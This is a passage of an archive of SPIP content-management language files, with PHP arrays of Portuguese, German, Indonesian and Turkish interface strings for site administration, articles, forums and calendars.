'texte_adresse_annuaire_1' => '(Se o seu anuário está instalado na mesma máquina que este sítio Web, trata-se de «localhost».)',
'texte_ajout_auteur' => 'O seguinte autor foi acrescentado ao artigo :',
'texte_annuaire_ldap_1' => 'Se tiver acesso a um anuário (LDAP), pode utilizá-lo para importar automaticamente utilizadores sob SPIP.',
'texte_article_statut' => 'Este artigo está :',
'texte_article_virtuel' => 'Artigo virtual',
'texte_article_virtuel_reference' => '<b>Artigo virtual :</b> artigo referenciado no seu sítio SPIP, mas redirigido para uma outra URL. Para suprimir a redirecção, apague a URL acima.',
'texte_aucun_resultat_auteur' => 'Nenhum resultado para "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Este site pode indicar permanentemente a lista dos redactores ligados, o que lhe permite trocar mensagens em directo ( quando o correio está desactivado mais acima, a lista dos redactores está desactivada). Pode decidir não aparecer nesta lista (estando « invisível » para os outros utilizadores).',
'texte_auteur_messagerie_1' => 'Este sítio permite a troca de mensagens e a constituição de fóruns de discussão privados entre os participantes do sítio. Pode decidir não participar nessas trocas.',
'texte_auteurs' => 'OS AUTORES',
'texte_choix_base_1' => 'Escolha a sua base de dados :',
'texte_choix_base_2' => 'O servidor SQL contém várias bases de dados.',
'texte_choix_base_3' => '<b>Seleccione</b> a seguir a que lhe foi atribuida pelo seu serviço de hospedagem.',
'texte_choix_table_prefix' => 'Prefixo das tabelas:',
'texte_commande_vider_tables_indexation' => 'Utilize este comando para esvaziar as tabelas de indexação utilizadas
pelo motor integrado de pesquisa em SPIP. Isso permitir-lhe-á ganhar espaço em disco.',
'texte_compatibilite_html' => 'Pode requerer a SPIP que produza, no sítio público, código compatível com a norma <i>HTML4</i>, ou que permita usar código compatível mais moderno <i>HTML5</i>.',
'texte_compatibilite_html_attention' => 'Não existe risco por activar a opção <i>HTML5</i>, mas se o fizer, as páginas do seu sítio devem começar com o seguinte código para serem válidas: <code><!DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(este pode ser comprimido ou não)',
'texte_compte_element' => '@count@ elemento',
'texte_compte_elements' => '@count@ elementos',
'texte_conflit_edition_correction' => 'Por favor compare as diferenças entre as duas versões. Pode também copiar as suas alterações e recomeçar.',
'texte_connexion_mysql' => 'Consulte as informações fornecidas pelo seu serviço de hospedagem: deve encontrar nelas, se o seu hospedeiro suporta SQL, os códigos de ligação ao servidor SQL.',
'texte_contenu_article' => '(Conteúdo do artigo em poucas palavras.)',
'texte_contenu_articles' => 'Segundo a maqueta adoptada para o seu sítio, pode decidir
que alguns elementos dos artigos não são utilizados.
Utilize a lista a seguir para indicar quais são os elementos disponíveis.',
'texte_crash_base' => 'Se a sua base de dados foi
destruída, pode tentar uma reparação
automática.',
'texte_creer_rubrique' => 'Antes de poder escrever artigos, <br /> deve criar uma rubrica.',
'texte_date_creation_article' => 'DATA DE CRIAÇÃO DO ARTIGO:',
'texte_date_creation_objet' => 'Data de criação:', # on ajoute le ":"
'texte_date_publication_anterieure' => 'Data de redacção anterior :',
'texte_date_publication_anterieure_nonaffichee' => 'Não exibir a data de redacção anterior',
'texte_date_publication_article' => 'DATA DE PUBLICAÇÃO ONLINE:',
'texte_date_publication_objet' => 'Data de publicação online:',
'texte_descriptif_petition' => 'Descrição do abaixo-assinado',
'texte_descriptif_rapide' => 'Descrição rápida',
'texte_effacer_base' => 'Apagar a base de dados SPIP',
'texte_effacer_donnees_indexation' => 'Apagar os dados de indexação',
'texte_effacer_statistiques' => 'Apagar as estatísticas',
'texte_en_cours_validation' => 'Os artigos e notícias seguintes estão propostos para publicação. Não hesite em dar a sua opinião graças aos fóruns que lhes estão ligados.',
'texte_enrichir_mise_a_jour' => 'Pode enriquecer a paginação do seu texto, utilizando « atalhos tipográficos ».',
'texte_fichier_authent' => '<b>SPIP deverá criar os ficheiros especiais<tt>.htpasswd-admin</tt> no directório @dossier@?</b><p>
Estes ficheiros podem servir-lhe para restringir o acesso aos autores
e administradores a outras partes do seu sítio (por exemplo, umprograma externo de estatísticas).<p>
Se não utilizar os ficheiros especiais, pode deixar esta opção no seu valor por defeito (não há criação de ficheiros).', # MODIF
'texte_informations_personnelles_1' => 'O sistema vai agora criar-lhe um acesso personalizado ao sítio',
'texte_informations_personnelles_2' => '(Nota : se se tratar de uma reinstalação e se o seu acesso continua funcional, pode',
'texte_introductif_article' => '(Texto introdutório do artigo.)',
'texte_jeu_caractere' => 'Esta opção é útil se o seu sítio precisa de exibir alfabetos diferentes do alfabeto romano (ou «ocidental») e seus derivados. Nesse caso, pode ser preferível mudar a definição por defeito para utilizar um conjunto de carácteres adequado; aconselhamos, em todos os casos, a proceder a experiências a fim de encontrar uma solução satisfatória. Se modificar este parâmetro, não esqueça também de adaptar o sítio público (balisa<tt>#CHARSET</tt>).',
'texte_jeu_caractere_2' => 'Esta definição não tem efeito retroactivo. Portanto, não converte os textos já presentes na base de dados. Em todo o caso, poderá voltar à definição anterior sem prejuízo.',
'texte_jeu_caractere_3' => 'O seu sítio usa actualmente o conjunto de caracteres:',
'texte_jeu_caractere_4' => 'Se não corresponde aos seus dados actuais (pode ocorrer após restaurar a base de dados a partir de uma cópia de segurança), ou se <em> estiver a configurar este sítio </em> e deseja usar um conjunto diferente de caracteres, por favor indique-o aqui :',
'texte_jeu_caractere_conversion' => 'Nota :pode decidir converter definitivamente todo o texto no seu sítio (artigos, notícias, fórums, etc.) para o conjunto de caracteres <tt>utf-8</tt>. Para tal, aceda à página de conversão <a href="@url@"> para utf-8</a>.',
'texte_lien_hypertexte' => '(Se a sua mensagem se refere a um artigo publicado na Web, ou a uma página que fornece mais informações, favor indicar a seguir o título da página e o endereço URL.)',
'texte_login_ldap_1' => '(Deixar vazio para um acesso anónimo, ou introduzir o caminho completo, por exemplo, « <tt>uid=silva, ou=users, dc=meu-dominio, dc=com</tt> ».)',
'texte_login_precaution' => 'Atenção ! Isto é o login sob o qual está ligado actualmente.
Utilize este formulário com precaução...',
'texte_message_edit' => 'Atenção : esta mensagem pode ser modificada por todos os administradores do sítio, e é visível por todos os redactores. Utilizar os anúncios apenas para exibir acontecimentos importantes da vida do sítio.',
'texte_messagerie_agenda' => 'Um sistema de mensagens permite aos redactores deste sítio comunicar directamente entre si na área privada. Está associado a uma agenda.',
'texte_mise_a_niveau_base_1' => 'Acaba de actualizar os ficheiros SPIP.
Agora é preciso pôr a nível a base de dados do sítio. ',
'texte_modifier_article' => 'Modificar o artigo :',
'texte_moteur_recherche_active' => '<b>O motor de pesquisa está activado.</b> Utilize este comando
se desejar proceder a uma reindexação rápida (após restauro
de uma salvaguarda por exemplo). Note que os documentos modificados de
maneira normal (a partir da interface SPIP) são automaticamente
reindexados : este comando portanto só é útil de maneira excepcional',
'texte_moteur_recherche_non_active' => 'O motor de pesquisa não está activado.',
'texte_multilinguisme' => 'Se desejar gerir artigos em muitos idiomas, com uma navegação complexa, pode acrescentar um menu de idioma aos artigos e/ou às rubricas, em função da organização do seu sítio.',
'texte_multilinguisme_trad' => 'Pode também activar um sistema de gestão de ligações entre as diferentes traduções de um artigo.',
'texte_non_compresse' => '<i>não comprimido</i> ( o seu servidor não suporta esta funcionalidade)',
'texte_nouveau_message' => 'Nova mensagem',
'texte_nouvelle_version_spip_1' => 'Instalou uma nova versão de SPIP.',
'texte_nouvelle_version_spip_2' => 'Esta nova versão precisa de uma actualização mais completa do que o normal. Se é o webmaster do sítio, por favor, apague o ficheiro <tt>inc_connect.php3</tt> do directório <tt>ecrire</tt> e retome a instalação de modo a incluir os seus parâmetros de ligação à base de dados.<p> (NB.: se não se lembra dos seus parâmetros de ligação, consulte o arquivo @connect@ antes de o apagar...)</p>',
'texte_operation_echec' => 'Volte à página anterior, seleccione uma outra base de dados ou crie uma nova. Verifique as informações fornecidas pelo seu serviço de hospedagem.',
'texte_plus_trois_car' => 'mais de 3 carácteres',
'texte_plusieurs_articles' => 'Muitos autores encontrados para "@cherche_auteur@":',
'texte_port_annuaire' => '(O valor indicado por defeito geralmente convém.)',
'texte_presente_plugin' => 'Esta página mostra os plugins disponíveis neste sítio. Pode activar os plugins necessários selaccionando a caixa correspondente.',
'texte_proposer_publication' => 'Quando terminar o seu artigo, <br /> pode propor a sua publicação.',
'texte_proxy' => 'Em alguns caso (intranet, redes protegidas...),
pode ser necessário utilizar um <i>proxy HTTP</i> para atingir os sítios vinculados.
Se for o caso, indique a seguir o endereço, sob a forma
@proxy_en_cours@. Em geral,
poderá deixar esta caixa vazia.',
'texte_publication_articles_post_dates' => 'Que comportamento SPIP deve adoptar perante os artigos cuja
data de publicação foi fixada para um prazo futuro ?',
'texte_rappel_selection_champs' => '[Não esquecer de seleccionar correctamente este campo.]',
'texte_recalcul_page' => 'Se quiser
recompor uma única página, passe pelo espaço público e utilize o botão «recompor».',
'texte_recapitiule_liste_documents' => 'Esta página recapitula a lista dos documentos que colocou nas rubricas. Para modificar as informações de cada documento, siga o link para a página da rubrica.',
'texte_recuperer_base' => 'Reparar a base de dados',
'texte_reference_mais_redirige' => 'artigo referenciado no seu sítio SPIP, mas redirigido para uma outra URL.',
'texte_requetes_echouent' => '<b>Quando algumas consultas SQL falharem sistematicamente e sem razão aparente, é possível que seja por causa da própria base de dados
.</b><p>
SQL dispõe de uma funcionalidade de reparação das suas tabelas quando forem acidententalmente danificadas. Pode tentar aqui essa reparação: se falhar, conserve uma cópia da exibição que talvez contenha
indícios daquilo que não funciona...<p>
Se o problema persistir, contacte o seu serviço de hospedagem.',
'texte_selection_langue_principale' => 'Pode seleccionar a seguir o « idioma principal » do sítio. Esta opção não o obriga - felizmente ! - a escrever os seus artigos no idioma seleccionado, mas permite determinar :
<u><li> o formato por defeito das datas no sítio público ;</li>
<li> a natureza do motor tipográfico que SPIP deve utilizar para a restituição dos textos ;</li>
<li> o idioma utilizado nos formulários do sítio público ;</li>
<li> o idioma apresentado por defeito no espaço privado.</li></ul> ',
'texte_sous_titre' => 'Sub-título',
'texte_statistiques_visites' => '(barras escuras : domingo / curva escura : evolução da média)',
'texte_statut_attente_validation' => 'à espera de validação',
'texte_statut_publies' => 'publicados online',
'texte_statut_refuses' => 'recusados',
'texte_suppression_fichiers' => 'Utilize este comando para suprimir todos os ficheiros presentes
na cache SPIP. Isso permite, por exemplo, obrigar uma recomposição de todas as páginas se você
fez modificações importantes de grafismo ou de estrutura do sítio.',
'texte_sur_titre' => 'Supra-título',
'texte_table_ok' => ': esta tabela está OK.',
'texte_tables_indexation_vides' => 'As tabelas de indexação do motor estão vazias.',
'texte_tentative_recuperation' => 'Tentativa de reparação',
'texte_tenter_reparation' => 'Tentar uma reparação da base de dados',
'texte_test_proxy' => 'Para experimentar este proxy, indique aqui o endereço de um sítio Web
que deseje testar;',
'texte_titre_02' => 'Título',
'texte_titre_obligatoire' => '<b>Título</b> [Obrigatório]',
'texte_travail_article' => '@nom_auteur_modif@ trabalhou sobre este artigo há @date_diff@ minutes',
'texte_travail_collaboratif' => 'Se é frequente muitos redactores
trabalharem no mesmo artigo, o sistema
pode exibir os artigos recentemente « abertos »
a fim de evitar as modificações simultâneas.
Esta opção está desactivada por defeito
a fim de evitar exibir mensagens de aviso
intempestivas.',
'texte_trop_resultats_auteurs' => 'Demasiados resultados para "@cherche_auteur@" ; por favor afine a pesquisa.',
'texte_unpack' => 'telecarregamento da última versão',
'texte_utilisation_moteur_syndiques' => 'Quando utilizar o motor integrado de pesquisa em SPIP, pode efectuar as pesquisas nos sítios e nos artigos vinculados de duas maneiras
diferentes. <br /><img src=\'puce.gif\' /> A mais
simples consiste em pesquisar unicamente nos títulos e descrições dos artigos.
<br /><img src=\'puce.gif\' />
Um segundo método, muito mais poderoso, permite ao SPIP pesquisar igualmente no texto dos
sítios referenciados. Se referenciar
um sítio, SPIP vai então efectuar a
pesquisa no texto do próprio sítio.',
'texte_utilisation_moteur_syndiques_2' => 'Este método obriga SPIP a visitar
regularmente os sítios referenciados,
o que pode provocar uma pequena desaceleração do seu próprio sítio.',
'texte_vide' => 'vazio',
'texte_vider_cache' => 'Esvaziar a cache',
'titre_admin_effacer' => 'Manutenção técnica',
'titre_admin_tech' => 'Manutenção técnica',
'titre_admin_vider' => 'Manutenção técnica',
'titre_ajouter_un_auteur' => 'Adicionar um autor',
'titre_ajouter_un_mot' => 'Adicionar uma palavra-chave',
'titre_ajouter_une_rubrique' => 'Adicionar uma rubrica',
'titre_cadre_afficher_article' => 'Exibir os artigos',
'titre_cadre_afficher_traductions' => 'Exibir o estado das traduções para estes idiomas:',
'titre_cadre_ajouter_auteur' => 'ACRESCENTAR UM AUTOR :',
'titre_cadre_interieur_rubrique' => 'Dentro da rubrica',
'titre_cadre_numero_auteur' => 'AUTOR NÚMERO',
'titre_cadre_numero_objet' => '@objet@ NÚMERO:',
'titre_cadre_signature_obligatoire' => '<b>Assinatura</b> [Obrigatória]<br />',
'titre_config_contenu_notifications' => 'Notificações',
'titre_config_contenu_prive' => 'Na área privada',
'titre_config_contenu_public' => 'No sítio público',
'titre_config_fonctions' => 'Configuração do sítio',
'titre_config_langage' => 'Configurar o idioma',
'titre_configuration' => 'Configuração do sítio',
'titre_configurer_preferences' => 'Configure as suas preferências',
'titre_conflit_edition' => 'Conflito durante a redacção',
'titre_connexion_ldap' => 'Opções: <b>Sua ligação LDAP</b>',
'titre_groupe_mots' => 'GRUPO DE PALAVRAS :',
'titre_identite_site' => 'Identidade do sítio',
'titre_langue_article' => 'IDIOMA DO ARTIGO ',
'titre_langue_rubrique' => 'Idioma da rubrica',
'titre_langue_trad_article' => 'IDIOMA E TRADUÇÕES DO ARTIGO',
'titre_les_articles' => 'OS ARTIGOS',
'titre_messagerie_agenda' => 'Mensagens e agenda',
'titre_naviguer_dans_le_site' => 'Navegar no sítio',
'titre_nouvelle_rubrique' => 'Nova rubrica',
'titre_numero_rubrique' => 'RUBRICA NÚMERO :',
'titre_page_admin_effacer' => 'Manutenção técnica : apagar a base de dados',
'titre_page_articles_edit' => 'Modificar : @titre@',
'titre_page_articles_page' => 'Os artigos',
'titre_page_articles_tous' => 'Todo o sítio',
'titre_page_auteurs' => 'Visitantes',
'titre_page_calendrier' => 'Calendário @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Configuração do sítio',
'titre_page_config_fonctions' => 'Configuração do sítio',
'titre_page_configuration' => 'Configuração do sítio',
'titre_page_controle_petition' => 'Acompanhamento dos abaixo-assinados',
'titre_page_delete_all' => 'Supressão total e irreversível',
'titre_page_documents_liste' => 'Os documentos das rubricas',
'titre_page_index' => 'O seu espaço privado',
'titre_page_message_edit' => 'Redigir uma mensagem',
'titre_page_messagerie' => 'O seu correio',
'titre_page_recherche' => 'Resultados da pesquisa @recherche@',
'titre_page_statistiques_referers' => 'Estatísticas (ligações de entrada)',
'titre_page_statistiques_signatures_jour' => 'Número de assinaturas por dia',
'titre_page_statistiques_signatures_mois' => 'Número de assinaturas por mês',
'titre_page_upgrade' => 'Reactualização de SPIP',
'titre_publication_articles_post_dates' => 'Publicação dos artigos pós-datados',
'titre_referencer_site' => 'Referenciar o sítio',
'titre_rendez_vous' => 'ENCONTROS',
'titre_reparation' => 'Reparação',
'titre_suivi_petition' => 'Seguimento dos abaixo-assinados',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_inexistant' => 'Não há artigo com este número',
'trad_article_traduction' => 'Todas as versões deste artigo :',
'trad_deja_traduit' => 'Erro: impossível ligar este artigo ao número solicitado.',
'trad_delier' => 'Não voltar a ligar este artigo a estas traduções',
'trad_lier' => 'Este artigo é uma tradução do artigo número :',
'trad_new' => 'Escrever uma nova tradução deste artigo',
// U
'upload_info_mode_document' => 'Colocar esta imagem no portfolio',
'upload_info_mode_image' => 'Remover esta imagem do portfolio',
'utf8_convert_attendez' => 'Aguarde uns instantes e recarregue esta página.',
'utf8_convert_avertissement' => 'Está prestes a converter o conteúdo da sua base de dados (artigos, notícias, etc.) do conjunto de caracteres <b>@orig@</b> para o conjunto de caracteres <b>@charset@</b>.',
'utf8_convert_backup' => 'Não esqueça de primeiro fazer uma cópia de segurança completa do seu sítio. Precisa também de verificar se os seus modelos e ficheiros de idioma são compatíveis com @charset@.',
'utf8_convert_erreur_deja' => 'O seu sítio está já em @charset@, é inútil converter.',
'utf8_convert_erreur_orig' => 'Erro : o conjunto de caracteres @charset@ não é suportado.',
'utf8_convert_termine' => 'Terminou!',
'utf8_convert_timeout' => '<b>Importante :</b> Se o servidor indicar <i>timeout</i> , por favor recarregue a página até que ela indique « Terminou! ».',
'utf8_convert_verifier' => 'Agora precisa de esvaziar a cache do sítio e depois verificar se está tudo bem nas páginas públicas do sítio. Se ocorrer um problema grave, cria-se uma cópia de segurança dos seus dados originais (em formato SQL) no directório @rep@.',
'utf8_convertir_votre_site' => 'Converter o seu sítio em utf-8',
// V
'version' => 'Versão:'
);
?>
public_de.php 0000666 00000007421 15252547432 0007224 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Startseite',
'article' => 'Artikel',
'articles' => 'Artikel',
'articles_auteur' => 'Artikel dieses Autors',
'articles_populaires' => 'Die beliebtesten Artikel',
'articles_rubrique' => 'Artikel dieser Rubrik',
'aucun_article' => 'Unter dieser Adresse gibt es keinen Artikel.',
'aucun_auteur' => 'Unter dieser Adresse gibt es keinen Autor.',
'aucun_site' => 'Unter dieser Adresse gibt es keien Website.',
'aucune_breve' => 'Unter dieser Adresse gibt es keine Meldung.',
'aucune_rubrique' => 'Unter dieser Adresse gibt es keine Rubrik.',
'auteur' => 'Autor',
'autres' => 'Andere',
'autres_breves' => 'Weitere Meldungen.',
'autres_groupes_mots_clefs' => 'Weitere Schlagwortgruppen',
'autres_sites' => 'Weitere Websites',
// B
'bonjour' => 'Hallo',
// C
'commenter_site' => 'Website kommentieren',
'contact' => 'Kontakt',
'copie_document_impossible' => 'Dokument kann nicht kopiert werden',
// D
'date' => 'Datum',
'dernier_ajout' => 'Neuester Eintrag',
'dernieres_breves' => 'Neue Meldungen',
'derniers_articles' => 'Neueste Artikel',
'derniers_commentaires' => 'Neueste Kommentare',
'derniers_messages_forum' => 'Neuste Forumsbeiträge',
// E
'edition_mode_texte' => 'Im Textmodus bearbeiten ',
'en_reponse' => 'Antwort auf:',
'en_resume' => 'Als Zusammenfassung',
'envoyer_message' => 'Nachricht senden',
'espace_prive' => 'Redaktion',
// F
'formats_acceptes' => 'Akzeptierte Formate: @formats@.',
// H
'hierarchie_site' => 'Baumstruktur der Website',
// J
'jours' => 'Tage',
// L
'lien_connecter' => 'Login',
// M
'meme_auteur' => 'Vom gleichen Autor',
'meme_rubrique' => 'In der gleichen Rubrik',
'memes_auteurs' => 'Von den gleichen Autoren',
'message' => 'Nachricht',
'messages_forum' => 'Nachrichten',
'messages_recents' => 'Neuste Forumsbeiträge',
'mots_clef' => 'Schlagwort',
'mots_clefs' => 'Schlagworte',
'mots_clefs_meme_groupe' => 'Schlagworte der gleichen Kategorie',
// N
'navigation' => 'Navigation',
'nom' => 'Name',
'nouveautes' => 'Neuigkeiten',
'nouveautes_web' => 'Neues im WWW',
'nouveaux_articles' => 'Neue Artikel',
'nouvelles_breves' => 'Neue Meldungen',
// P
'page_precedente' => 'vorige Seite',
'page_suivante' => 'nächste Seite',
'par_auteur' => 'von ',
'participer_site' => 'Sie können bei dieser Website mitmachen, wenn Sie sich anmelden. Sie erhalten sofort eine E-Mail mit den Zugangsdaten zum Redaktionssystem.',
'plan_site' => 'Sitemap',
'popularite' => 'Beliebtheit',
'poster_message' => 'Nachricht senden',
'proposer_site' => 'Sie können in dieser Rubrik eine Seite vorschlagen :',
// R
'repondre_article' => 'auf diesen Artikel antworten',
'repondre_breve' => 'auf diese Meldung antworten',
'resultats_recherche' => 'Suchergebnis(se)',
'retour_debut_forums' => 'Zurück zum Beginn des Forums',
'rubrique' => 'Rubrik',
'rubriques' => 'Rubriken',
// S
'signatures_petition' => 'Unterschrift',
'site_realise_avec_spip' => 'Realisiert mit SPIP',
'sites_web' => 'Websites',
'sous_rubriques' => 'Unterrubriken',
'spam' => 'SPAM',
'suite' => 'weiter',
'sur_web' => 'Im WWW',
'syndiquer_rubrique' => 'Diese Rubrik per RSS einbinden',
'syndiquer_site' => 'Die ganze Website mit RSS einbinden',
// T
'texte_lettre_information' => 'Dies ist der Newsletter der Website ',
'texte_lettre_information_2' => 'Diese Mail informiert über die Neuerscheinungen der letzten',
// V
'ver_imprimer' => 'Druckversion',
'voir_en_ligne' => 'Online ansehen',
'voir_squelette' => 'Layoutvorlage dieser Seite ansehen'
);
?>
public_id.php 0000666 00000007335 15252547432 0007234 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=id
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Halaman Depan', # MODIF
'articles' => 'Artikel-artikel',
'articles_auteur' => 'Artikel-artikel penulis ini',
'articles_populaires' => 'Artikel-artikel yang paling banyak dibaca',
'articles_rubrique' => 'Artikel-artikel bagian ini',
'aucun_article' => 'Tidak ada artikel di alamat ini',
'aucun_auteur' => 'Tidak ada penulis di alamat ini',
'aucun_site' => 'Tidak ada situs di alamat ini',
'aucune_breve' => 'Tidak ada berita di alamat ini',
'aucune_rubrique' => 'Tidak ada bagian di alamat ini',
'autres_breves' => 'Berita lainnya',
'autres_groupes_mots_clefs' => 'Kelompok-kelompok kata kunci lainnya',
'autres_sites' => 'Situs-situs lainnya',
// B
'bonjour' => 'Halo',
// C
'commenter_site' => 'Komentar di situs ini',
// D
'date' => 'Tanggal',
'dernier_ajout' => 'Penambahan terbaru',
'dernieres_breves' => 'Berita terbaru',
'derniers_articles' => 'Artikel-artikel terbaru',
'derniers_commentaires' => 'Komentar-komentar terbaru',
'derniers_messages_forum' => 'Pesan-pesan terbaru yang dipublikasikan di forum ini',
// E
'edition_mode_texte' => 'Tampilan teks saja',
'en_reponse' => 'Membalas kepada:',
'en_resume' => 'Ringkasan',
'envoyer_message' => 'Untuk mengirimkan sebuah pesan',
'espace_prive' => 'Area pribadi',
// H
'hierarchie_site' => 'Hirarki situs',
// J
'jours' => 'hari',
// M
'meme_auteur' => 'Oleh penulis yang sama',
'meme_rubrique' => 'Dalam bagian yang sama',
'memes_auteurs' => 'Oleh penulis-penulis yang sama',
'message' => 'Pesan',
'messages_forum' => 'Pesan-pesan forum', # MODIF
'messages_recents' => 'Pesan-pesan forum terbaru',
'mots_clefs' => 'Kata-kata kunci',
'mots_clefs_meme_groupe' => 'Kata-kata kunci dalam kelompok yang sama',
// N
'navigation' => 'Navigasi',
'nom' => 'Nama',
'nouveautes' => 'Yang terbaru',
'nouveautes_web' => 'Yang terbaru di dunia Web',
'nouveaux_articles' => 'Artikel-artikel baru',
'nouvelles_breves' => 'Berita-berita baru',
// P
'page_precedente' => 'halaman sebelumnya',
'page_suivante' => 'halaman selanjutnya',
'par_auteur' => 'oleh ',
'participer_site' => 'Anda dapat berpartisipasi secara aktif di situs web ini dan menulis artikel anda sendiri dengan sebelumnya mendaftarkan diri di bawah ini. Anda akan menerima segera sebuah e-mail yang berisikan kode akses ke area pribadi situs ini.',
'plan_site' => 'Peta Situs',
'popularite' => 'Popularitas',
'poster_message' => 'Untuk mengirimkan sebuah pesan',
'proposer_site' => 'Anda dapat merekomendasikan sebuah situs untuk ditambahkan ke dalam bagian ini:',
// R
'repondre_article' => 'Balasan pada artikel ini',
'repondre_breve' => 'Balasan pada artikel berita ini',
'resultats_recherche' => 'Hasil pencarian',
'retour_debut_forums' => 'Kembali ke awal forum',
'rubrique' => 'Bagian',
'rubriques' => 'Bagian',
// S
'signatures_petition' => 'Tanda tangan',
'site_realise_avec_spip' => 'Situs dibuat dengan SPIP',
'sites_web' => 'Situs-situs web',
'sous_rubriques' => 'Sub-sub bagian',
'suite' => 'lanjut',
'sur_web' => 'Di Web',
'syndiquer_rubrique' => 'Sindikasi bagian ini',
'syndiquer_site' => 'Sindikasi seluruh isi situs',
// T
'texte_lettre_information' => 'Berikut adalah laporan berkala situs',
'texte_lettre_information_2' => 'Laporan ini memberikan ringkasan artikel-artikel dan berita-berita yang dipublikasikan sejak', # MODIF
// V
'ver_imprimer' => 'Versi cetak',
'voir_en_ligne' => 'Lihat secara online',
'voir_squelette' => 'ٍTampilkan templat halaman ini'
);
?>
spip_tr.php 0000666 00000103266 15252547432 0006762 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=tr
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Türkçe [tr]',
'0_liste' => 'spip-dev@rezo.net',
'0_mainteneur' => 'admin@inceden.net',
// A
'access_interface_graphique' => 'Tam grafik arayüze geri dön',
'access_mode_texte' => 'Basitleştirilmiş metin arayüzünü göster',
'admin_debug' => 'hata ayıkla',
'admin_modifier_article' => 'Bu makaleyi değiştir',
'admin_modifier_auteur' => 'Bu yazarı değiştir',
'admin_modifier_breve' => 'Bu kısa haberi değiştir',
'admin_modifier_mot' => 'Bu anahtar sözcüğü değiştir',
'admin_modifier_rubrique' => 'Bu bölümü değiştir',
'admin_recalculer' => 'Bu sayfayı yeniden oluştur',
'afficher_trad' => 'çevirileri listele',
'alerte_maj_impossible' => '<b>Dikkat !</b> SQL veri tabanının @version@ sürümüne güncellenmesi imkansız. Sorun veritabanı değiştirme haklarından kaynaklanıyor olabilir, lütfen sitenizi barındıran şirkete başvurunuz.',
'alerte_modif_info_concourante' => 'DİKKAT: Bu bilgi başka bir yerde değiştirildi. Güncel değer :',
'analyse_xml' => 'XML analizi',
'annuler' => 'İptal et',
'antispam_champ_vide' => 'Lütfen bu alanı boş bırakınız :',
'articles_recents' => 'En yeni makaleler',
'avis_archive_incorrect' => 'arşiv dosyası SPIP dosyası değil',
'avis_archive_invalide' => 'bu arşiv dosyası geçerli değil',
'avis_attention' => 'DİKKAT !',
'avis_champ_incorrect_type_objet' => '@type@ tipindeki nesne için @name@ ismi geçersiz',
'avis_colonne_inexistante' => '@col@ isimli sütun yok',
'avis_erreur' => 'Hata: aşağıdaki açıklamaya bakınız',
'avis_erreur_connexion' => 'Bağlantı hatası',
'avis_erreur_cookie' => 'çerez sorunu',
'avis_erreur_fonction_contexte' => 'Yazılım hatası. Bu işlev bu biçimde kullanılmamalı.',
'avis_erreur_mysql' => 'SQL hatası',
'avis_erreur_sauvegarde' => 'Yedeklemede hata (@type@ @id_objet@) !',
'avis_erreur_visiteur' => 'Özel alana erişim sorunu',
// B
'barre_a_accent_grave' => 'A harfinin üstüne aksan ekle (Türkçede anlamsız)',
'barre_aide' => 'Sayfa düzenini zenginleştirmek için tipografik kısayolları kullanınız',
'barre_e_accent_aigu' => 'E harfinin üstüne aksan ekle (Türkçe’de anlamsız)',
'barre_eo' => 'Türkçe’de anlamsız',
'barre_eo_maj' => 'Türkçe’de anlamsız',
'barre_euro' => '€ işaretini girin',
'barre_gras' => '{{Kalın}} yaz',
'barre_guillemets' => '« Tırnak » içine al',
'barre_guillemets_simples' => 'İkinci biçimde tırnak içine al',
'barre_intertitre' => '{{{Arabaşlık’a}}} dönüştür',
'barre_italic' => '{Yana yatık (italik)} yaz',
'barre_lien' => '[Hipermetin bağlantısına->http://...] dönüştür',
'barre_lien_input' => 'Lütfen bağlantınızın adresini girin (adresi http://www.adresim.com veya bu sitede bulunan bir metnin numarası şeklinde girebilirsiniz).',
'barre_note' => '[[Sayfa sonu notuna]] dönüştür',
'barre_paragraphe' => 'Bir paragraf oluştur',
'barre_quote' => '<quote>Bir iletiden alıntı yap</quote>',
'bouton_changer' => 'Değiştir',
'bouton_chercher' => 'Ara',
'bouton_choisir' => 'Seç',
'bouton_download' => 'İndir', # MODIF
'bouton_enregistrer' => 'Kaydet',
'bouton_radio_desactiver_messagerie_interne' => 'İç iletileri kapat',
'bouton_radio_envoi_annonces' => 'Yazar duyurularını yolla',
'bouton_radio_non_envoi_annonces' => 'Duyuruları yollama',
'bouton_radio_non_envoi_liste_nouveautes' => 'Yenilikler listesini gönderme',
'bouton_recharger_page' => 'bu sayfayı yeniden yükle',
'bouton_telecharger' => 'İndir',
'bouton_upload' => 'İndir', # MODIF
'bouton_valider' => 'Onayla',
// C
'cal_apresmidi' => 'öğleden sonra',
'cal_jour_entier' => 'tam gün',
'cal_matin' => 'sabah',
'cal_par_jour' => 'günlük takvim',
'cal_par_mois' => 'aylık takvim',
'cal_par_semaine' => 'haftalık takvim',
'choix_couleur_interface' => 'renk',
'choix_interface' => 'arayüz seçimi',
'colonne' => 'Sütun',
'confirm_changer_statut' => 'Dikkat, bu elemanın durumunu değiştirmek istediniz. Devam etmek istiyor musunuz ?',
'correcte' => 'doğru',
// D
'date_aujourdhui' => 'bugün',
'date_avant_jc' => 'İ.Ö.',
'date_dans' => ' @delai@ içinde',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
